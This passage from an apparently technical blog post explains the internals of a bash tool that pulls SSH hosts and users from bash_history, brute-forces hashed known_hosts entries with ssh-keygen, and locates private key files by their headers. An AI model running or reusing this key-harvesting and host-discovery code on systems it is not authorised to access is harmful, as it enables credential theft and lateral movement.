          <span class="o">[[</span> <span class="s2">"</span><span class="nv">$bash_history_line</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"ssh "</span><span class="k">*</span> <span class="o">]]</span> <span class="o">||</span> <span class="k">continue
          if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$prev_token</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"-"</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
            <span class="c"># ssh -v host ; extract host</span>
            <span class="c"># ssh -p22 host ; extract host</span>
            <span class="c"># ssh -vv host ; extract host</span>
            <span class="c"># ssh -oOption=yes host ; extract host</span>
            <span class="c"># ssh -i file host -luser ps ; do NOT extract 'ps' (cached_ssh_host already set)</span>
            <span class="c"># ssh host -v 'bash -c ls' ; do NOT extract 'bash (cached_ssh_host already set).</span>
            <span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$prev_token</span><span class="s2">"</span> <span class="o">=</span>~ ^-[46AaCfGgKkMNnqsTtVvXxYy]<span class="k">*</span><span class="nv">$ </span><span class="o">||</span> <span class="k">${#</span><span class="nv">prev_token</span><span class="k">}</span> <span class="nt">-gt</span> 2 <span class="o">]]</span><span class="p">;</span> <span class="k">then
              </span><span class="nb">local </span>ssh_host

              <span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$token</span><span class="s2">"</span>
              <span class="o">[[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$cached_ssh_host</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> add_ssh_host <span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nv">cached_ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span>
            <span class="k">fi</span>
          <span class="c"># ssh host ; extract host.</span>
          <span class="c"># ssh -v host ; do NOT extract -v.</span>
          <span class="k">elif</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$prev_token</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"ssh"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nb">local </span>ssh_host
            <span class="nb">local </span>ssh_user

            <span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$token</span><span class="s2">"</span>
            <span class="o">[[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$cached_ssh_host</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> add_ssh_host <span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nv">cached_ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span>
          <span class="c"># ssh -i key host ; extract host</span>
          <span class="c"># ssh -vv -o Option=yes host ; extract host</span>
          <span class="c"># ssh -v host 'ps' ; do NOT extract anything. (especially 'ps')</span>
          <span class="c"># ssh -v -p22 host 'ps' ; do NOT extract anything (especially 'ps')</span>
          <span class="c"># ssh -D 9000 localhost -luser ; extract host</span>
          <span class="c"># ssh -i file -v -luser host ps ; do NOT extract 'ps' (cached_ssh_host already set)</span>
          <span class="k">elif</span> <span class="o">[[</span> <span class="nv">$i</span> <span class="nt">-gt</span> 1 <span class="o">&amp;&amp;</span> <span class="s2">"</span><span class="nv">$prev_prev_token</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"-"</span><span class="k">*</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="o">[[</span> <span class="o">!</span> <span class="s2">"</span><span class="nv">$prev_prev_token</span><span class="s2">"</span> <span class="o">=</span>~ ^-[46AaCfGgKkMNnqsTtVvXxYy]<span class="k">*</span><span class="nv">$ </span><span class="o">&amp;&amp;</span> <span class="o">!</span> <span class="k">${#</span><span class="nv">prev_prev_token</span><span class="k">}</span> <span class="nt">-gt</span> 2 <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nb">local </span>ssh_host

            <span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$token</span><span class="s2">"</span>
            <span class="o">[[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$cached_ssh_host</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> add_ssh_host <span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="nv">cached_ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span>
          <span class="c"># ssh -l user host ps ; break on ps.</span>
          <span class="c"># ssh host command ; break on command.</span>
          <span class="c"># ssh -i /file/ -l user host cmd ; break on cmd.</span>
          <span class="k">elif</span> <span class="o">[[</span> <span class="nv">$i</span> <span class="nt">-gt</span> 1 <span class="o">&amp;&amp;</span> <span class="s2">"</span><span class="k">${</span><span class="nv">prev_prev_token</span>:0:1<span class="k">}</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"-"</span> <span class="o">&amp;&amp;</span> <span class="s2">"</span><span class="k">${</span><span class="nv">prev_token</span>:0:1<span class="k">}</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"-"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span><span class="nb">break
          </span><span class="k">else</span>
            <span class="c"># Shouldn't be necessary, but can get rid of trailing commands, complicated cases (sigh).</span>
            <span class="nb">break
          </span><span class="k">fi
        fi</span>
</code></pre></div></div>

<p>If the current token begins with <code class="language-plaintext highlighter-rouge">-</code> but isn’t <code class="language-plaintext highlighter-rouge">-i</code> or <code class="language-plaintext highlighter-rouge">-l</code>, then we don’t actually care about it that much. Instead, we care about what’s <em>after</em> it. We start comparing the <em>previous token</em> to a list of options: <code class="language-plaintext highlighter-rouge">46AaCfGgKkMNnqsTtVvXxYy</code>. These options can be stacked together and don’t take a following options. For example: <code class="language-plaintext highlighter-rouge">ssh -vvvv</code>. What comes after <code class="language-plaintext highlighter-rouge">vvvv</code> is not associated with the <code class="language-plaintext highlighter-rouge">vvvv</code> itself. Therefore: if the previous token was any of <code class="language-plaintext highlighter-rouge">-[46AaCfGgKkMNnqsTtVvXxYy]*</code> and the current token does not begin with <code class="language-plaintext highlighter-rouge">-</code>, then the current token is probably the host! Why are we doing this? Well take for example <code class="language-plaintext highlighter-rouge">ssh -l user -v host 'ps aux'</code> – the only way to extract <code class="language-plaintext highlighter-rouge">host</code> knowing it’s a host and not some parameter or a command (like <code class="language-plaintext highlighter-rouge">'ps aux'</code>) is to assume that the first non-option is a hostname. And since the <code class="language-plaintext highlighter-rouge">46AaCfGgKkMNnqsTtVvXxYy</code> options don’t take a following argument, the first value that follows them – assuming it’s not another option – must be the hostname! The value of the hostname is cached again, and the loop goes back to the check of whether the hostname has been found and whether the line contains <code class="language-plaintext highlighter-rouge">-l</code>, meaning that if a host has been found and <code class="language-plaintext highlighter-rouge">-l</code> isn’t present, the whole token loop will break – yes, this (I <strong>think</strong> – I haven’t fuzzed it) means that if a command that has been executed on a remote host contains <code class="language-plaintext highlighter-rouge">-l</code> or <code class="language-plaintext highlighter-rouge">-i</code>, it will either search for a username or key that doesn’t exist, or corrupt the username which should be the username of the bash_history’s home directory user – but hey, this shit is head to do in bash: I accept pull requests.</p>

<p>There’s a basic check to make sure <code class="language-plaintext highlighter-rouge">ssh host</code> extracts <code class="language-plaintext highlighter-rouge">hosts</code> as a hostname, too.</p>

<p>Finally, there’s a check for the second previous token (if it exists). For example, <code class="language-plaintext highlighter-rouge">ssh -D 9000 localhost -luser</code> will, when <code class="language-plaintext highlighter-rouge">token=localhost</code>, see that <code class="language-plaintext highlighter-rouge">prev_prev_token=-D</code> therefore <code class="language-plaintext highlighter-rouge">localhost</code> is a hostname.</p>

<p>There’s also a check of whether a command is being executed via ssh: if <code class="language-plaintext highlighter-rouge">prev_prev_token</code> doesn’t begin with <code class="language-plaintext highlighter-rouge">-</code> and <code class="language-plaintext highlighter-rouge">prev_token</code> doesn’t begin <code class="language-plaintext highlighter-rouge">-</code>, and the current token doesn’t begin with <code class="language-plaintext highlighter-rouge">-</code>, then we must be at the end of the useful part of the command executed (and we may even be breaking into a remotely executed command): <code class="language-plaintext highlighter-rouge">ssh -i key host -l user ls / -i</code> – if <code class="language-plaintext highlighter-rouge">token=ps</code>, we’ll read it thinking it’s a host, but since <code class="language-plaintext highlighter-rouge">$cached_ssh_host</code> will be set by then, it’ll progress to <code class="language-plaintext highlighter-rouge">/</code>, see that <code class="language-plaintext highlighter-rouge">prev_prev_token=user</code> and <code class="language-plaintext highlighter-rouge">prev_token=ls</code>, and break from the loop. Same thing as <code class="language-plaintext highlighter-rouge">ssh root@host ls / -i</code> – as soon as <code class="language-plaintext highlighter-rouge">token=ls</code>, it’ll loop.</p>

<p>I am not really sure if I’ve covered all the cases in the block properly, and it’s definitely open to breaking somehow. But it’s probably the best we’re going to get when tokenizing a bash history file in bash.</p>

<p>Difficult stuff, but definitely worth it!</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">find_from_hashed_known_hosts()</code> is slightly interesting too. SSH keeps a list of hashes of host keys of remote hosts in a file called <code class="language-plaintext highlighter-rouge">known_hosts</code>. For example, <code class="language-plaintext highlighter-rouge">known_hosts</code> may contain a line like <code class="language-plaintext highlighter-rouge">server.com ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIClRF2LjL1EJNfEYAKpr9rENgZVFlH7jtEPla0x3hakB</code>. <code class="language-plaintext highlighter-rouge">AAAAC3NzaC1lZDI1NTE5AAAAIClRF2LjL1EJNfEYAKpr9rENgZVFlH7jtEPla0x3hakB</code> is the hash of the host key on the <code class="language-plaintext highlighter-rouge">server.com</code> system. This file effectively keeps a history of every host that the user has connected to.</p>

<p>However, ssh also includes an option to hash the hostname for privacy reasons – and this is the default on many distributions. Instead of the above line revealing <code class="language-plaintext highlighter-rouge">server.com</code>, <code class="language-plaintext highlighter-rouge">known_hosts</code> may instead contain <code class="language-plaintext highlighter-rouge">|1|+iwCSCtqbUdZJgeteQqYgQ0hWG8=|a3AyqEIKC7R4uDQsAv8zI1yIGpU= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIClRF2LjL1EJNfEYAKpr9rENgZVFlH7jtEPla0x3hakB</code> – the first part of that is the hashed version of <code class="language-plaintext highlighter-rouge">server.com</code>.</p>

<p>As it turns out, we can effectively brute-force the hash using a pre-image attack. In fact, <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> even supports this deliberately:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh-keygen <span class="nt">-F</span> 192.168.1.1
<span class="c"># Host 192.168.1.1 found: line 58 </span>
|1|96KUSpeaZrkYrbQhhjFLF/jJ15w<span class="o">=</span>|xMX7qNROy8SwPZK1zEjrlEeYU24<span class="o">=</span> ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIClRF2LjL1EJNfEYAKpr9rENgZVFlH7jtEPla0x3hakB
</code></pre></div></div>

<p>So the <code class="language-plaintext highlighter-rouge">find_from_hashed_known_hosts()</code> attempts to crack any lines in the <code class="language-plaintext highlighter-rouge">known_hosts</code> file by passing <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> a list of hosts that may be valid.</p>

<p>First off it passes hosts that we already know about: all of the collected hosts, and the host parts of all destinations. Then, it checks whether there are any remaining un-cracked hosts. If there are, then it brute-forces them using the c and d blocks of the system’s IP address(es): if the system has an address like <code class="language-plaintext highlighter-rouge">192.168.55.22</code>, it will brute-force all 65,536 ip addresses from <code class="language-plaintext highlighter-rouge">192.168.0.0-192.168.255.255</code> (if the system has multiple addresses, it will try the c and d blocks of all of them).</p>

<p>It utilizes two different ways to call <code class="language-plaintext highlighter-rouge">ssh-keygen -F</code>, depending on whether <code class="language-plaintext highlighter-rouge">xargs(1)</code> is installed or not. If it is installed, a double loop is used to print the first two octets of the system’s IP address, then<code class="language-plaintext highlighter-rouge">$j</code> for the c-block and <code class="language-plaintext highlighter-rouge">$i</code> for the d-block, which is then piped to <code class="language-plaintext highlighter-rouge">xargs(1)</code> to execute <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">for </span>i <span class="k">in</span> <span class="o">{</span>0..255<span class="o">}</span><span class="p">;</span> <span class="k">do</span>
          <span class="c"># break if there are no hashed known hosts left.</span>
          <span class="o">[[</span> <span class="nv">$hashed_number</span> <span class="nt">-lt</span> 1 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nb">break
          </span><span class="k">while </span><span class="nv">IFS</span><span class="o">=</span> <span class="nb">read</span> <span class="nt">-r</span> ssh_host<span class="p">;</span> <span class="k">do
            </span><span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">ssh_host</span><span class="p">#*Host </span><span class="k">}</span><span class="s2">"</span>
            <span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">ssh_host</span><span class="p">%% found*</span><span class="k">}</span><span class="s2">"</span>
            add_ssh_host <span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span>
            <span class="o">((</span>hashed_number--<span class="o">))</span>
            <span class="o">[[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$home_user</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> add_ssh_dest <span class="s2">"</span><span class="nv">$home_user</span><span class="s2">@</span><span class="nv">$ssh_host</span><span class="s2">"</span>
          <span class="k">done</span> &lt; &lt;<span class="o">(</span>
            <span class="k">for </span>j <span class="k">in</span> <span class="o">{</span>0..255<span class="o">}</span><span class="p">;</span> <span class="k">do
              </span><span class="nb">echo</span> <span class="s2">"</span><span class="k">${</span><span class="nv">octets</span><span class="p">[0]</span><span class="k">}</span><span class="s2">.</span><span class="k">${</span><span class="nv">octets</span><span class="p">[1]</span><span class="k">}</span><span class="s2">.</span><span class="nv">$j</span><span class="s2">.</span><span class="nv">$i</span><span class="s2">"</span>
            <span class="k">done</span> | xargs <span class="nt">-P</span> 0 <span class="nt">-n</span> 1 <span class="k">${</span><span class="nv">ss</span><span class="k">}</span> ssh-keygen <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$ssh_file</span><span class="s2">"</span> <span class="nt">-F</span> 2&gt;/dev/null | <span class="nb">grep</span> <span class="nt">-F</span> <span class="s1">'# Host'</span><span class="o">)</span>
        <span class="k">done</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">xargs(1)</code> call is inside the loop for the generation of <code class="language-plaintext highlighter-rouge">$i</code> because it may not be necessary to check all 65,536 addresses. For example, if a <code class="language-plaintext highlighter-rouge">known_hosts</code> file on a system with the IP address <code class="language-plaintext highlighter-rouge">192.168.5.5</code> contains only one host which is <code class="language-plaintext highlighter-rouge">192.168.5.4</code>, it will be cracked after <code class="language-plaintext highlighter-rouge">i</code> is iterated to <code class="language-plaintext highlighter-rouge">5</code>. If the <code class="language-plaintext highlighter-rouge">xargs(1)</code> call was outside the <code class="language-plaintext highlighter-rouge">i</code> looping, <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> would continue to be called 64,256 – even though there are no remaining hashed hosts.</p>

<p>Anyway, if <code class="language-plaintext highlighter-rouge">xargs(1)</code> it’s not installed, it loops from 0 to 255 twice:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="k">for</span> <span class="o">((</span><span class="nv">i</span><span class="o">=</span>0<span class="p">;</span> i&lt;256<span class="p">;</span> i++<span class="o">))</span><span class="p">;</span> <span class="k">do</span>
          <span class="c"># break if there are no hashed known hosts left.</span>
          <span class="o">[[</span> <span class="nv">$hashed_number</span> <span class="nt">-lt</span> 1 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nb">break
          
          </span><span class="k">for</span> <span class="o">((</span><span class="nv">j</span><span class="o">=</span>0<span class="p">;</span> j&lt;256<span class="p">;</span> j++<span class="o">))</span><span class="p">;</span> <span class="k">do
            </span><span class="nb">local </span>found_hosts_count

            <span class="nv">found_hosts_count</span><span class="o">=</span>0

            <span class="c"># break if there are no hashed known hosts left.</span>
            <span class="o">[[</span> <span class="nv">$hashed_number</span> <span class="nt">-lt</span> 1 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nb">break

            </span><span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">octets</span><span class="p">[0]</span><span class="k">}</span><span class="s2">.</span><span class="k">${</span><span class="nv">octets</span><span class="p">[1]</span><span class="k">}</span><span class="s2">.</span><span class="nv">$i</span><span class="s2">.</span><span class="nv">$j</span><span class="s2">"</span>
            <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'ssh_hosts["$ssh_host"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">ssh_hosts</span><span class="p">[</span><span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">continue</span> <span class="c"># Skip this because we have already tried it earlier.</span>

            <span class="nv">found_hosts_count</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="k">${</span><span class="nv">ss</span><span class="k">}</span> <span class="s2">"</span><span class="k">${</span><span class="nv">sshkeygen</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$ssh_file</span><span class="s2">"</span> <span class="nt">-F</span> <span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span> 2&gt;/dev/null | <span class="nb">grep</span> <span class="nt">-cE</span> <span class="s1">'Host .* found'</span><span class="si">)</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="o">((</span>hashed_number -<span class="o">=</span> found_hosts_count<span class="o">))</span> <span class="o">&amp;&amp;</span> <span class="o">[[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$home_user</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> add_ssh_dest <span class="s2">"</span><span class="nv">$home_user</span><span class="s2">@</span><span class="nv">$ssh_host</span><span class="s2">"</span>
          <span class="k">done
        done</span>
</code></pre></div></div>

<p>That <code class="language-plaintext highlighter-rouge">${ss}</code> call is used to only use <code class="language-plaintext highlighter-rouge">sudo(1)</code> if it is required. Every other part of the script which uses <code class="language-plaintext highlighter-rouge">sudo(1)</code> (if possible) will do it completely indifferently of whether it <em>really</em> needs to use it. However, since we’re going to be calling <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> up to (and most likely completely) 65,536 times, then we check whether we <em>really</em> need to use <code class="language-plaintext highlighter-rouge">sudo(1)</code>. Only if we must use it, do we use it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nv">ss</span><span class="o">=</span><span class="s2">""</span>
    <span class="c"># Don't use sudo unless we have to.</span>
    <span class="o">[[</span> <span class="o">!</span> <span class="nt">-r</span> <span class="s2">"</span><span class="nv">$ssh_file</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nv">ss</span><span class="o">=</span><span class="s2">"</span><span class="nv">$s</span><span class="s2">"</span>
</code></pre></div></div>

<p>Similar to <code class="language-plaintext highlighter-rouge">find_from_bash_history()</code>, this function also extracts the username based on where the file was found and combines the host to create a destination.</p>

<p>Some benchmarks:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># xargs: 2m42.820s</span>
<span class="c"># for-loop: 7m52.145s</span>
<span class="c"># sudo xargs: 3m56.659s</span>
<span class="c"># sudo for-loop: 15m36.738s</span>
</code></pre></div></div>

<hr />

<p>How does the script actually determine whether a file contains a private key? It’s quite simple:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">known_key_headers</span><span class="o">=(</span>
      <span class="s2">"SSH PRIVATE KEY FILE FORMAT 1.1"</span>
      <span class="s2">"-----BEGIN RSA PRIVATE KEY-----"</span>
      <span class="s2">"-----BEGIN DSA PRIVATE KEY-----"</span>
      <span class="s2">"-----BEGIN EC PRIVATE KEY-----"</span>
      <span class="s2">"-----BEGIN OPENSSH PRIVATE KEY-----"</span>
      <span class="s2">"-----BEGIN PRIVATE KEY-----"</span>
      <span class="s2">"-----BEGIN ENCRYPTED PRIVATE KEY-----"</span>
      <span class="s2">"---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----"</span>
    <span class="o">)</span>

  is_file <span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span> <span class="o">||</span> <span class="k">return </span>1

  <span class="nb">read</span> <span class="nt">-r</span> <span class="nt">-n</span> 50 file_header &lt; &lt;<span class="o">(</span><span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">cat</span> <span class="nt">--</span> <span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span><span class="o">)</span> <span class="c"># cat is faster than head.</span>
  <span class="k">for </span>key_header <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">known_key_headers</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
    if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$file_header</span><span class="s2">"</span> <span class="o">==</span> <span class="k">*</span><span class="s2">"</span><span class="nv">$key_header</span><span class="s2">"</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
      return </span>0
    <span class="k">fi
  done</span>
</code></pre></div></div>

<p>Reading the first 50 characters of the a file, it simply checks whether the headers of any private key types are present.</p>

<p>During my bench-marking, <code class="language-plaintext highlighter-rouge">read -r &lt; &lt;(cat key)</code> was nearly 3x faster than simply using <code class="language-plaintext highlighter-rouge">head -c50 key</code>.</p>

<hr />

<p>In order to reduce the amount of files checked (to avoid wasting time), the calls to <code class="language-plaintext highlighter-rouge">find(1)</code> for finding private key files are also restricted to <code class="language-plaintext highlighter-rouge">-type f -size +200c -size -14000c -readable</code>. Files outside of this size aren’t private keys. <code class="language-plaintext highlighter-rouge">-readable</code> is GNU-only, so should probably be removed in the future (when all GNU-only functions are identified).</p>

<hr />

<p>The script also performs internal caching of files to minimize the amount of file reads. By maintaining an internal associative array of files which have already been read and their validity of private keys checked, we won’t need to read the file multiple times. For example, in the <code class="language-plaintext highlighter-rouge">check_and_populate_keys()</code> function:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>check_and_populate_keys<span class="o">()</span> <span class="o">{</span>
  <span class="nv">unresolved_key_file</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>

  <span class="c"># Avoid the readlink call if the path is already absolute.</span>
  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'priv_keys_files["$unresolved_key_file"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">priv_keys_files</span><span class="p">[</span><span class="s2">"</span><span class="nv">$unresolved_key_file</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>0
  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'key_files["$unresolved_key_file"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">key_files</span><span class="p">[</span><span class="s2">"</span><span class="nv">$unresolved_key_file</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>1

  <span class="nv">key_file</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">readlink</span> <span class="nt">-m</span> <span class="nt">--</span> <span class="s2">"</span><span class="nv">$unresolved_key_file</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span>

  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'priv_keys_files["$key_file"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">priv_keys_files</span><span class="p">[</span><span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> priv_keys_files[<span class="s2">"</span><span class="nv">$unresolved_key_file</span><span class="s2">"</span><span class="o">]=</span>1 <span class="o">&amp;&amp;</span> <span class="k">return </span>0
  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'key_files["$key_file"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">key_files</span><span class="p">[</span><span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> key_files[<span class="s2">"</span><span class="nv">$unresolved_key_file</span><span class="s2">"</span><span class="o">]=</span>1 <span class="o">&amp;&amp;</span> <span class="k">return </span>1

  key_files[<span class="s2">"</span><span class="nv">$unresolved_key_file</span><span class="s2">"</span><span class="o">]=</span>1
  key_files[<span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span><span class="o">]=</span>1

  <span class="k">for </span>ignored_key_file <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">ignored_key_files</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do</span>
    <span class="o">[[</span> <span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span> <span class="o">==</span> <span class="nv">$ignored_key_file</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>1
  <span class="k">done

  if </span>check_file_for_privkey <span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span><span class="p">;</span> <span class="k">then
    </span>populate_keys <span class="s2">"</span><span class="nv">$key_file</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> priv_keys_files[<span class="s2">"</span><span class="nv">$unresolved_key_file</span><span class="s2">"</span><span class="o">]=</span>1 <span class="o">&amp;&amp;</span> <span class="k">return </span>0
  <span class="k">fi

  return </span>1
<span class="o">}</span>
</code></pre></div></div>

<p>In the first block of code, we check whether the provided key file is already confirmed to be a private key – if so, return 0. If the file has already been processed by <code class="language-plaintext highlighter-rouge">check_and_populate_keys()</code> but it’s not in the <code class="language-plaintext highlighter-rouge">priv_keys_files</code> associative array, then it’s not a key file – return 1.</p>

<p>Then we use <code class="language-plaintext highlighter-rouge">readlink(1)</code> to resolve the proper full location of the proposed file. That is to say, <code class="language-plaintext highlighter-rouge">/home//jrogers/file</code> is the same as <code class="language-plaintext highlighter-rouge">/home/jrogers/file</code> – so standardize it to the proper canonicalized name. From there, the checks are repeated: is the canonicalized path already known to contain a key, or already known not to contain a key?</p>

<p>Then, both the non-canonicalized and canonicalize file paths are added to the associative array of files already read (<code class="language-plaintext highlighter-rouge">readlink(1)</code> is of course a file read, so we try to avoid that if we can.) The path is then compared against a pre-defined ignore list of key locations (deliberately expanding <code class="language-plaintext highlighter-rouge">$ignored_key_file</code> because we support globbing).</p>

<p>Finally, the key’s location is passed to <code class="language-plaintext highlighter-rouge">check_file_for_privkey()</code> which checks the headers as above (the first 50 characters and everything). If it looks like a key, it’s passed to <code class="language-plaintext highlighter-rouge">populate_keys()</code>.</p>

<hr />

<p>In fact, we do a lot of caching especially for files. For example:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check whether a file is a real file, exists, contains something, and is readable.</span>
is_file<span class="o">()</span> <span class="o">{</span>
  <span class="nb">local </span>filename

  <span class="nv">filename</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>

  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'files["$filename"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">files</span><span class="p">[</span><span class="s2">"</span><span class="nv">$filename</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>0
  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'not_files["$filename"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">not_files</span><span class="p">[</span><span class="s2">"</span><span class="nv">$filename</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>1

  <span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">test</span> <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$filename</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">test</span> <span class="nt">-r</span> <span class="s2">"</span><span class="nv">$filename</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">test</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$filename</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> files[<span class="s2">"</span><span class="nv">$filename</span><span class="s2">"</span><span class="o">]=</span>1 <span class="o">&amp;&amp;</span> <span class="k">return </span>0

  not_files[<span class="s2">"</span><span class="nv">$filename</span><span class="s2">"</span><span class="o">]=</span>1
  <span class="k">return </span>1
<span class="o">}</span>

<span class="c"># Checks whether a folder is a real folder, and is readable.</span>
is_dir<span class="o">()</span> <span class="o">{</span>
  <span class="nb">local </span>dir_name

